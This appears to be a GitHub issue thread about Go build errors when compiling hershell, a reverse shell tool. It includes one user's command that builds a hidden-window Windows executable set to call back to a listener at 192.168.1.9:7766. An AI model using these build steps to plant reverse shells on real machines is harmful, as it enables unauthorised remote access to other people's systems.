Open d0ubl3puls4r opened 4 years ago
Make sure the following env variable is set to off:
go env -w GO111MODULE=off
After that you will need to run go get
on hershell again, this should resolve the errors from make
This actually solved my problem. Thanks!
Solved mine too, thanks!
hello I would like to know how to reset the following error:
root@kali:~/hershell# make windows64 LHOST=192.168.1.9 LPORT=7766 **GOOS=windows GOARCH=amd64 go build --ldflags "-s -w -X main.connectString=192.168.1.9:7766 -X main.fingerPrint=$(openssl x509 -fingerprint -sha256 -noout -in server.pem | cut -d '=' -f2) -H=windowsgui" -o hershell.exe hershell.go hershell.go:13:2: cannot find package "github.com/lesnuages/hershell/meterpreter" in any of: /usr/lib/go-1.14/src/github.com/lesnuages/hershell/meterpreter (from $GOROOT) /root/go/src/github.com/lesnuages/hershell/meterpreter (from $GOPATH) hershell.go:14:2: cannot find package "github.com/lesnuages/hershell/shell" in any of: /usr/lib/go-1.14/src/github.com/lesnuages/hershell/shell (from $GOROOT) /root/go/src/github.com/lesnuages/hershell/shell (from $GOPATH) make: * [Makefile:29: windows64] Error 1**
Tanks.